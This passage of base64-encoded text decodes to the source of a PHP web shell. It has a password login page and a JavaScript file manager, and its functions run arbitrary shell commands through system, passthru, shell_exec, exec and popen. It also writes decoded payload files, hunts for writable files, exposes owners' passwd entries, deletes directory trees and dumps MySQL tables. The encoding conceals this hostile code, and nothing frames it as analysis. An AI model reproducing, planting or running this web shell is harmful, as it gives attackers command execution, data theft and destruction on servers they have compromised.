EVycm9ycztmdW5jdGlvbiB5ZXNvaygpe2lmIChjb25maXJtKCJibyIpKXJldHVybiB0cnVlO2Vsc2UgcmV0dXJuIGZhbHNlO31mdW5jdGlvbiBydW5DbG9jaygpe3RoZVRpbWUgPSB3aW5kb3cuc2V0VGltZW91dCgicnVuQ2xvY2soKSIsIDEwMCk7dmFyIHRvZGF5ID0gbmV3IERhdGUoKTt2YXIgZGlzcGxheT0gdG9kYXkudG9Mb2NhbGVTdHJpbmcoKTt3aW5kb3cuc3RhdHVzPSLvv73vv71ib3NzICAtLSIrZGlzcGxheTt9cnVuQ2xvY2soKTtmdW5jdGlvbiBTaG93Rm9sZGVyKEZvbGRlcil7dG9wLmFkZHJmb3JtLkZvbGRlclBhdGgudmFsdWUgPSBGb2xkZXI7dG9wLmFkZHJmb3JtLnN1Ym1pdCgpO31mdW5jdGlvbiBGdWxsRm9ybShGTmFtZSxGQWN0aW9uKXt0b3AuaGlkZWZvcm0uRk5hbWUudmFsdWUgPSBGTmFtZTtpZihGQWN0aW9uPT0iQ29weUZpbGUiKXtETmFtZSA9IHByb21wdCgiYm8iLEZOYW1lKTt0b3AuaGlkZWZvcm0uRk5hbWUudmFsdWUgKz0gInx8fHwiK0ROYW1lO31lbHNlIGlmKEZBY3Rpb249PSJNb3ZlRmlsZSIpe0ROYW1lID0gcHJvbXB0KCJib20iLEZOYW1lKTt0b3AuaGlkZWZvcm0uRk5hbWUudmFsdWUgKz0gInx8fHwiK0ROYW1lO31lbHNlIGlmKEZBY3Rpb249PSJDb3B5Rm9sZGVyIil7RE5hbWUgPSBwcm9tcHQoImJvbSIsRk5hbWUpO3RvcC5oaWRlZm9ybS5GTmFtZS52YWx1ZSArPSAifHx8fCIrRE5hbWU7fWVsc2UgaWYoRkFjdGlvbj09Ik1vdmVGb2xkZXIiKXtETmFtZSA9IHByb21wdCgiYm9tIixGTmFtZSk7dG9wLmhpZGVmb3JtLkZOYW1lLnZhbHVlICs9ICJ8fHx8IitETmFtZTt9ZWxzZSBpZihGQWN0aW9uPT0iTmV3Rm9sZGVyIil7RE5hbWUgPSBwcm9tcHQoImJvbSIsRk5hbWUpO3RvcC5oaWRlZm9ybS5GTmFtZS52YWx1ZSA9IEROYW1lO31lbHNle0ROYW1lID0gIk90aGVyIjt9aWYoRE5hbWUhPW51bGwpe3RvcC5oaWRlZm9ybS5BY3Rpb24udmFsdWUgPSBGQWN0aW9uO3RvcC5oaWRlZm9ybS5zdWJtaXQoKTt9ZWxzZXt0b3AuaGlkZWZvcm0uRk5hbWUudmFsdWUgPSAiIjt9fTwvc2NyaXB0Pjxib2R5IHNjcm9sbD1ubz48L2Zvcm0+PHNjcmlwdD5mdW5jdGlvbiBSVU5vbmNsaWNrKCl7ZG9jdW1lbnQueGZvcm0uY2hpbmEubmFtZSA9IHBhcmVudC5wd2QudmFsdWU7ZG9jdW1lbnQueGZvcm0uYWN0aW9uID0gcGFyZW50LnVybC52YWx1ZTtkb2N1bWVudC54Zm9ybS5zdWJtaXQoKTt9PC9zY3JpcHQ+PGJvZHkgc3R5bGU9J2JhY2tncm91bmQ6IzAwMDAwMCc+IDxjZW50ZXI+Cgo8cCBzdHlsZT0naGVpZ2h0OjUwcHgnPjwvcD48c3BhbiBzdHlsZT0nZm9udC1mYW1pbHk677+977+9Pywg77+977+9P19HQjIzMTI7Zm9udC1zaXplOjEwOHB4O2ZvbnQtc3R5bGU6aXRhbGljO2ZvbnQtd2VpZ2h0OmJvbGQ7ZGlzcGxheTppbmxpbmUtYmxvY2s7Y29sb3I6d2hpdGU7dGV4dC1zaGFkb3c6MXB4IDAgNHB4ICNmZjAwMDAsMCAxcHggNHB4ICNmZjAwMDAsMCAtMXB4IDRweCAjZmYwMDAwLC0xcHggMCA0cHggI2ZmMDAwMDtmaWx0ZXI6Z2xvdyhjb2xvcj0jZmYwMDAwLHN0cmVuZ3RoPTMpJyBpZD0naWQxJz5ib3NzPC9zcGFuPjxkaXYgIGNsYXNzPSd0ZXN0cycgc3R5bGU9J2JhY2tncm91bmQ6dXJsKGh0dHA6Ly9pbWduZXdzLm5hdmVyLm5ldC9pbWFnZS8wMTYvMjAxNS8xMi8xNC8yMDE1MTIxNDAwMDU3Nl8wXzk5XzIwMTUxMjE0MTEzMzA5LmpwZyk7IGJhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDsgYmFja2dyb3VuZC1wb3NpdGlvbjpjZW50ZXInIGFsaWduPSdjZW50ZXInPjxwIHN0eWxlPSdoZWlnaHQ6MjAwcHgnPjwvcD48L2Rpdj48ZGl2IHN0eWxlPSd3aWR0aDo0MDBweDtwYWRkaW5nOjMycHg7IGFsaWduPWxlZnQnPjxicj48Zm9ybSBhY3Rpb249JycmdXJsJicnIG1ldGhvZD0ncG9zdCc+PGI+PHNwYW4gc3R5bGU9J2NvbG9yOndoaXRlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtc2hhZG93OjFweCAwcHggNHB4ICNjMDAwMDAsIDBweCAxcHggNHB4ICNjMDAwMDAsIDBweCAtMXB4IDRweCAjYzAwMDAwLCAtMXB4IDBweCA0cHggI2MwMDAwMCc+PlBhc3N3b3JkOiA8L3NwYW4+PGlucHV0IG5hbWU9InBhc3N3b3JkIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMjAiPiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJsb2dpbiI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iPjwvY2VudGVyPgoKCgk8L2Zvcm0+Cjw/cGhwCglleGl0Owp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJJHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlAb2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewoJCQkkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKCQkJQGV4ZWMoJGNmZSwkcmVzKTsKCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikpIHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyAKCQkJfQoJCQlAcGNsb3NlKCRmKTsKCQl9Cgl9CglyZXR1cm4gJHJlczsKfQpmdW5jdGlvbiB3aGljaCgkcHIpIHsKCSRwYXRoID0gZXhlY3V0ZSgid2hpY2ggJHByIik7CglyZXR1cm4gKCRwYXRoID8gJHBhdGggOiAkcHIpOyAKfQoKZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KXsKCWlmKCRmcD1AZm9wZW4oJGZuYW1lLCd3JykpIHsKCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CgkJQGZjbG9zZSgkZnApOwoJfQp9CmZ1bmN0aW9uIGRpcnNpemUoJGRpcikgeyAKCSRkaCA9IEBvcGVuZGlyKCRkaXIpOwoJJHNpemUgPSAwOwoJd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKSB7CgkJaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CgkJCSRwYXRoID0gJGRpci4nLycuJGZpbGU7CgkJCSRzaXplICs9IEBpc19kaXIoJHBhdGgpID8gZGlyc2l6ZSgkcGF0aCkgOiBAZmlsZXNpemUoJHBhdGgpOwoJCX0KCX0KCUBjbG9zZWRpcigkZGgpOwoJcmV0dXJuICRzaXplOwp9Ci8vIMWuPz/vv71V77+977+977+9CmZ1bmN0aW9uIGRlYnVnaW5mbygpIHsKCWdsb2JhbCAkc3RhcnR0aW1lOwoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKCSR0b3RhbHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1lKSwgNik7CgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsKfQoKLy8/P01ZU1FM77+9Yj8/CmZ1bmN0aW9uIG15ZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWU9JycsJGNoYXJzZXQ9JycsJGRicG9ydD0nMzMwNicpIHsKCWdsb2JhbCAkY2hhcnNldGRiOwoJQGluaV9zZXQoJ215c3FsLmNvbm5lY3RfdGltZW91dCcsIDUpOwoJaWYoISRsaW5rID0gQG15c3FsX2Nvbm5lY3QoJGRiaG9zdC4nOicuJGRicG9ydCwgJGRidXNlciwgJGRicGFzcykpIHsKCQlwKCc8aDI+Q2FuIG5vdCBjb25uZWN0IHRvIE15U1FMIHNlcnZlcjwvaDI+Jyk7CgkJZXhpdDsKCX0KCWlmKCRsaW5rICYmICRkYm5hbWUpIHsKCQlpZiAoIUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJGxpbmspKSB7CgkJCXAoJzxoMj5EYXRhYmFzZSBzZWxlY3RlZCBoYXMgZXJyb3I8L2gyPicpOwoJCQlleGl0OwoJCX0KCX0KCWlmKCRsaW5rICYmIG15c3FsX2dldF9zZXJ2ZXJfaW5mbygpID4gJzQuMScpIHsKCQlpZigkY2hhcnNldCAmJiBpbl9hcnJheShzdHJ0b2xvd2VyKCRjaGFyc2V0KSwgJGNoYXJzZXRkYikpIHsKCQkJcSgiU0VUIGNoYXJhY3Rlcl9zZXRfY29ubmVjdGlvbj0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9yZXN1bHRzPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X2NsaWVudD1iaW5hcnk7IiwgJGxpbmspOwoJCX0KCX0KCXJldHVybiAkbGluazsKfQoKLy8gPz/vv73vv73vv73vv73ZtT8KZnVuY3Rpb24gc19hcnJheSgmJGFycmF5KSB7CglpZiAoaXNfYXJyYXkoJGFycmF5KSkgewoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9PiAkdikgewoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7CgkJfQoJfSBlbHNlIGlmIChpc19zdHJpbmcoJGFycmF5KSkgewoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOwoJfQoJcmV0dXJuICRhcnJheTsKfQoKLy8gPz9IVE1MPz8KZnVuY3Rpb24gaHRtbF9jbGVhbigkY29udGVudCkgewoJJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsKCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlx0IiwgIiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyIsICRjb250ZW50KTsKCXJldHVybiAkY29udGVudDsKfQoKLy8gPz8/77+977+9CmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygkZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30gCgllbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gJ2InO30KCWVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHR5cGUgPSAnYyc7fQoJZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdHlwZSA9ICdwJzt9CgllbHNlIHskdHlwZSA9ICc/Jzt9CgoJJG93bmVyWydyZWFkJ10gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7IAoJJG93bmVyWyd3cml0ZSddID0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOyAKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOyAKCSRncm91cFsncmVhZCddID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyAKCSRncm91cFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDIwKSA/ICd3JyA6ICctJzsgCgkkZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsgCgkkd29ybGRbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsgCgkkd29ybGRbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7IAoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7IAoKCWlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30KCWlmKCAkbW9kZSAmIDB4NDAwICkgeyRncm91cFsnZXhlY3V0ZSddID0gKCRncm91cFsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30KCWlmKCAkbW9kZSAmIDB4MjAwICkgeyR3b3JsZFsnZXhlY3V0ZSddID0gKCR3b3JsZFsnZXhlY3V0ZSddPT0neCcpID8gJ3QnIDogJ1QnO30KIAoJcmV0dXJuICR0eXBlLiRvd25lclsncmVhZCddLiRvd25lclsnd3JpdGUnXS4kb3duZXJbJ2V4ZWN1dGUnXS4kZ3JvdXBbJ3JlYWQnXS4kZ3JvdXBbJ3dyaXRlJ10uJGdyb3VwWydleGVjdXRlJ10uJHdvcmxkWydyZWFkJ10uJHdvcmxkWyd3cml0ZSddLiR3b3JsZFsnZXhlY3V0ZSddOwp9CgpmdW5jdGlvbiBnZXRVc2VyKCRmaWxlcGF0aCkJewoJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgewoJCSRhcnJheSA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlcGF0aCkpOwoJCWlmICgkYXJyYXkgJiYgaXNfYXJyYXkoJGFycmF5KSkgewoJCQlyZXR1cm4gJyAvIDxhIGhyZWY9IiMiIHRpdGxlPSJVc2VyOiAnLiRhcnJheVsnbmFtZSddLicmIzEzJiMxMFBhc3N3ZDogJy4kYXJyYXlbJ3Bhc3N3ZCddLicmIzEzJiMxMFVpZDogJy4kYXJyYXlbJ3VpZCddLicmIzEzJiMxMGdpZDogJy4kYXJyYXlbJ2dpZCddLicmIzEzJiMxMEdlY29zOiAnLiRhcnJheVsnZ2Vjb3MnXS4nJiMxMyYjMTBEaXI6ICcuJGFycmF5WydkaXInXS4nJiMxMyYjMTBTaGVsbDogJy4kYXJyYXlbJ3NoZWxsJ10uJyI+Jy4kYXJyYXlbJ25hbWUnXS4nPC9hPic7CgkJfQoJfQoJcmV0dXJuICcnOwp9CgovLyDvv73vv70/Pz8KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7CgkkbXlkaXI9QGRpcigkZGVsZGlyKTsJCgl3aGlsZSgkZmlsZT0kbXlkaXItPnJlYWQoKSkJeyAJCQoJCWlmKChpc19kaXIoJGRlbGRpci4nLycuJGZpbGUpKSAmJiAoJGZpbGUhPScuJykgJiYgKCRmaWxlIT0nLi4nKSkgeyAKCQkJQGNobW9kKCRkZWxkaXIuJy8nLiRmaWxlLDA3NzcpOwoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsgCgkJfQoJCWlmIChpc19maWxlKCRkZWxkaXIuJy8nLiRmaWxlKSkgewoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7CgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOwoJCX0KCX0gCgkkbXlkaXItPmNsb3NlKCk7IAoJQGNobW9kKCRkZWxkaXIsMDc3Nyk7CglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7Cn0KCi8vID8/77+977+9Pz8/P++/ve+/ve+/ve+/vT8KZnVuY3Rpb24gYmcoKSB7CglnbG9iYWwgJGJnYzsKCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOwp9CgovLyA/Pz8/P++/ve+/vT/vv73Pue+/vT8/CmZ1bmN0aW9uIGdldFBhdGgoJHNjcmlwdHBhdGgsICRub3dwYXRoKSB7CglpZiAoJG5vd3BhdGggPT0gJy4nKSB7CgkJJG5vd3BhdGggPSAkc2NyaXB0cGF0aDsKCX0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7Cgkkbm93cGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5vd3BhdGgpOwoJaWYgKHN1YnN0cigkbm93cGF0aCwgLTEpICE9ICcvJykgewoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOwoJfQoJcmV0dXJuICRub3dwYXRoOwp9CgovLyA/Pz8/Pz8/77+977+9Pz8/CmZ1bmN0aW9uIGdldFVwUGF0aCgkbm93cGF0aCkgewoJJHBhdGhkYiA9IGV4cGxvZGUoJy8nLCAkbm93cGF0aCk7CgkkbnVtID0gY291bnQoJHBhdGhkYik7CglpZiAoJG51bSA+IDIpIHsKCQl1bnNldCgkcGF0aGRiWyRudW0tMV0sJHBhdGhkYlskbnVtLTJdKTsKCX0KCSR1cHBhdGggPSBpbXBsb2RlKCcvJywgJHBhdGhkYikuJy8nOwoJJHVwcGF0aCA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJHVwcGF0aCk7CglyZXR1cm4gJHVwcGF0aDsKfQoKLy8gPz9QSFA/77+977+9P++/vWIKZnVuY3Rpb24gZ2V0Y2ZnKCR2YXJuYW1lKSB7CgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOwoJaWYgKCRyZXN1bHQgPT0gMCkgewoJCXJldHVybiAnTm8nOwoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgewoJCXJldHVybiAnWWVzJzsKCX0gZWxzZSB7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9Cn0KCi8vID8/P++/vWI/PwpmdW5jdGlvbiBnZXRmdW4oJGZ1bk5hbWUpIHsKCXJldHVybiAoZmFsc2UgIT09IGZ1bmN0aW9uX2V4aXN0cygkZnVuTmFtZSkpID8gJ1llcycgOiAnTm8nOwp9CgovLyA/P++/ve+/vT8/77+977+9PwpmdW5jdGlvbiBnZXRleHQoJGZpbGUpIHsKCSRpbmZvID0gcGF0aGluZm8oJGZpbGUpOwoJcmV0dXJuICRpbmZvWydleHRlbnNpb24nXTsKfQoKZnVuY3Rpb24gR2V0V0Rpckxpc3QoJGRpcil7CglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7CgkhJGogJiYgJGo9MTsKCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7CgkJCSRmPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRkaXIuJy8nLiRmaWxlKTsKCQkJaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJGYpKXsKCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsKCQkJCQkkZGlyZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7CgkJCQkJJGRpcmRhdGFbJGpdWydkaXJwZXJtJ109Z2V0UGVybXMoJGYpOwoJCQkJCSRkaXJkYXRhWyRqXVsnZGlybGluayddPSRkaXI7CgkJCQkJJGRpcmRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRqKys7CgkJCQl9CgkJCQlHZXRXRGlyTGlzdCgkZik7CgkJCX0KCQl9CgkJY2xvc2VkaXIoJGRoKTsKCQljbGVhcnN0YXRjYWNoZSgpOwoJCXJldHVybiAkZGlyZGF0YTsKCX0gZWxzZSB7CgkJcmV0dXJuIGFycmF5KCk7Cgl9Cn0KCmZ1bmN0aW9uIEdldFdGaWxlTGlzdCgkZGlyKXsKCWdsb2JhbCAkZmlsZWRhdGEsJGosJG5vd3BhdGgsICR3cml0YWJsZWRiOwoJISRqICYmICRqPTE7CglpZiAoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkkZXh0ID0gZ2V0ZXh0KCRmaWxlKTsKCQkJJGY9c3RyX3JlcGxhY2UoJy8vJywnLycsJGRpci4nLycuJGZpbGUpOwoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpewoJCQkJR2V0V0ZpbGVMaXN0KCRmKTsKCQkJfSBlbHNlaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19maWxlKCRmKSAmJiBpbl9hcnJheSgkZXh0LCBleHBsb2RlKCcsJywgJHdyaXRhYmxlZGIpKSl7CgkJCQlpZiAoaXNfd3JpdGFibGUoJGYpKSB7CgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZW5hbWUnXT1zdHJfcmVwbGFjZSgkbm93cGF0aCwnJywkZik7CgkJCQkJJGZpbGVkYXRhWyRqXVsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGYpKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7CgkJCQkJJGZpbGVkYXRhWyRqXVsnZmlsZWNobW9kJ109Z2V0Q2htb2QoJGYpOwoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGYpOwoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVvd25lciddPWdldFVzZXIoJGYpOwoJCQkJCSRmaWxlZGF0YVskal1bJ2RpcmxpbmsnXT0kZGlyOwoJCQkJCSRmaWxlZGF0YVskal1bJ3NlcnZlcl9saW5rJ109JGY7CgkJCQkJJGorKzsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcigkZGgpOwoJCWNsZWFyc3RhdGNhY2hlKCk7CgkJcmV0dXJuICRmaWxlZGF0YTsKCX0gZWxzZSB7CgkJcmV0dXJuIGFycmF5KCk7Cgl9Cn0KCmZ1bmN0aW9uIEdldFNGaWxlTGlzdCgkZGlyLCAkY29udGVudCwgJHJlID0gMCkgewoJZ2xvYmFsICRmaWxlZGF0YSwkaiwkbm93cGF0aCwgJHdyaXRhYmxlZGI7CgkhJGogJiYgJGo9MTsKCWlmICgkZGggPSBvcGVuZGlyKCRkaXIpKSB7CgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7CgkJCSRleHQgPSBnZXRleHQoJGZpbGUpOwoJCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7CgkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRmKSl7CgkJCQlHZXRTRmlsZUxpc3QoJGYsICRjb250ZW50LCAkcmUgPSAwKTsKCQkJfSBlbHNlaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19maWxlKCRmKSAmJiBpbl9hcnJheSgkZXh0LCBleHBsb2RlKCcsJywgJHdyaXRhYmxlZGIpKSl7CgkJCQkkZmluZCA9IDA7CgkJCQlpZiAoJHJlKSB7CgkJCQkJaWYgKCBwcmVnX21hdGNoKCdAJy4kY29udGVudC4nQCcsJGZpbGUpIHx8IHByZWdfbWF0Y2goJ0AnLiRjb250ZW50LidAJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCRmKSkgKXsKCQkJCQkJJGZpbmQgPSAxOwoJCQkJCX0KCQkJCX0gZWxzZSB7CgkJCQkJaWYgKCBzdHJzdHIoJGZpbGUsICRjb250ZW50KSB8fCBzdHJzdHIoIEBmaWxlX2dldF9jb250ZW50cygkZiksJGNvbnRlbnQgKSApIHsKCQkJCQkJJGZpbmQgPSAxOwoJCQkJCX0KCQkJCX0KCQkJCWlmICgkZmluZCkgewoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVuYW1lJ109c3RyX3JlcGxhY2UoJG5vd3BhdGgsJycsJGYpOwoJCQkJCSRmaWxlZGF0YVskal1bJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmKSk7CgkJCQkJJGZpbGVkYXRhWyRqXVsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZikpOwoJCQkJCSRmaWxlZGF0YVskal1bJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlcGVybSddPWdldFBlcm1zKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydmaWxlb3duZXInXT1nZXRVc2VyKCRmKTsKCQkJCQkkZmlsZWRhdGFbJGpdWydkaXJsaW5rJ109JGRpcjsKCQkJCQkkZmlsZWRhdGFbJGpdWydzZXJ2ZXJfbGluayddPSRmOwoJCQkJCSRqKys7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoJGRoKTsKCQljbGVhcnN0YXRjYWNoZSgpOwoJCXJldHVybiAkZmlsZWRhdGE7Cgl9IGVsc2UgewoJCXJldHVybiBhcnJheSgpOwoJfQp9CgpmdW5jdGlvbiBxeSgkc3FsKSB7IAoJZ2xvYmFsICRteXNxbGxpbms7CgkvL2VjaG8gJHNxbC4nPGJyPic7CgkkcmVzID0gJGVycm9yID0gJyc7CglpZighJHJlcyA9IEBteXNxbF9xdWVyeSgkc3FsLCRteXNxbGxpbmspKSB7IAoJCXJldHVybiAwOwoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7CgkJcmV0dXJuIDE7IAoJfSBlbHNlIHsKCQlyZXR1cm4gMjsKCX0JCglyZXR1cm4gMDsKfQoKZnVuY3Rpb24gcSgkc3FsKSB7IAoJZ2xvYmFsICRteXNxbGxpbms7CglyZXR1cm4gQG15c3FsX3F1ZXJ5KCRzcWwsJG15c3FsbGluayk7Cn0KCmZ1bmN0aW9uIGZyKCRxeSl7CglteXNxbF9mcmVlX3Jlc3VsdCgkcXkpOwp9CgpmdW5jdGlvbiBzaXplY291bnQoJGZpbGVTaXplKSB7Cgkkc2l6ZSA9IHNwcmludGYoIiV1IiwgJGZpbGVTaXplKTsKCWlmKCRzaXplID09IDApIHsKCQlyZXR1cm4gJzAgQnl0ZXMnIDsKCX0KCSRzaXplbmFtZSA9IGFycmF5KCcgQnl0ZXMnLCAnIEtCJywgJyBNQicsICcgR0InLCAnIFRCJywgJyBQQicsICcgRUInLCAnIFpCJywgJyBZQicpOwoJcmV0dXJuIHJvdW5kKCAkc2l6ZSAvIHBvdygxMDI0LCAoJGkgPSBmbG9vcihsb2coJHNpemUsIDEwMjQpKSkpLCAyKSAuICRzaXplbmFtZVskaV07Cn0KLy8gPz/vv71iPz8KZnVuY3Rpb24gc3FsZHVtcHRhYmxlKCR0YWJsZSwgJGZwPTApIHsKCWdsb2JhbCAkbXlzcWxsaW5rOwoKCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCR0YWJsZWA7XG4iOwoJJHJlcyA9IHEoIlNIT1cgQ1JFQVRFIFRBQkxFICR0YWJsZSIpOwoJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX3JvdygkcmVzKTsK